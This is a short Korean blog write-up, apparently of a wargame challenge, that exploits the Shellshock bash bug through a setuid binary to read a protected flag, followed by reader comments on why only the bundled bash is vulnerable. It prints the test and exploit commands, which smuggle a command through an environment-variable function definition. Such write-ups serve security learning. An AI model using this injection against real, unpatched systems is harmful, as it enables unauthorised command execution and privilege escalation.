1점 문제


    flag를 보려면 shellshock2 gid가 필요하고 shellshock를 실행하면 shellshock2 gid를 얻을 수 있다.

    shellshock.c 내용은 아래와 같다.

    #include <stdio.h>
    int main(){
            setresuid(getegid(), getegid(), getegid());
            setresgid(getegid(), getegid(), getegid());
            system("/home/shellshock/bash -c 'echo shock_me'");
            return 0;
    }


    shellshock 취약점은 아래 명령어로 체크할 수 있다.

    env x='() { :;}; echo pwnable!' bash -c 'echo safe~'


    같은 디렉토리에 있는 bash는 취약한 것을 확인했다. shellshock 프로그램에도 적용해보자.

    env x='() { :;}; /bin/cat flag' ./shellshock


    이 취약점을 통해서 내가 원하는 명령을 shellshock2의 권한으로 실행할 수 있었다.

    bash는 환경변수로 함수를 정의할 수 있는데, 함수 정의가 끝난 다음에 임의의 명령을 추가로 적으면 그 명령이 실행되는 문제인 것이다. 자세한 건 다음 링크에서 공부해보도록 하자.

    https://access.redhat.com/blogs/766093/posts/1976383


    Posted by 코요
    • ㅇㅇ
      2016.06.25 06:35 신고

      이해가 안가네요. 같은 디렉토리에 있는 bash가 취약점이 존재하는건데. 왜 플래그를 출력할땐 그냥 bash -c로 하는것이며, 왜 플래그가 출력되는건지 -ㅅ-
      echo 로 테스트할땐 그냥 bash로 하면 실행이 안됬는데요.
      대체 뭔가요.

      • BlogIcon 코요
        2016.07.04 13:35 신고

        플래그 출력할 땐 shellshock를 썼어요. 저도 제대로 이해한 게 아니라서 자세한 답변은 못드리겠네요ㅠ

      • 공깡이
        2016.11.30 00:54 신고

        아닐수도 있지만 제 생각에는 그냥 bash로 하면 환경변수PATH를 참조해서 /bin/bash가 실행이되고 이 bash에는 쉘쇼크 취약점이 없고 문제 만든사람이 일부로 현재 디렉토리안에 있는 bash에만 쉘쇼크 취약점이 있게 해놓은거 같습니다ㅎㅎ 소스코드안에 system함수 안의 bash를 보아도 현재디렉토리안의 bash를 실행시키는데 만약 /bin/bash에 취약점이 있다면 앞에 경로를 제외하고 쓰지않았을까요??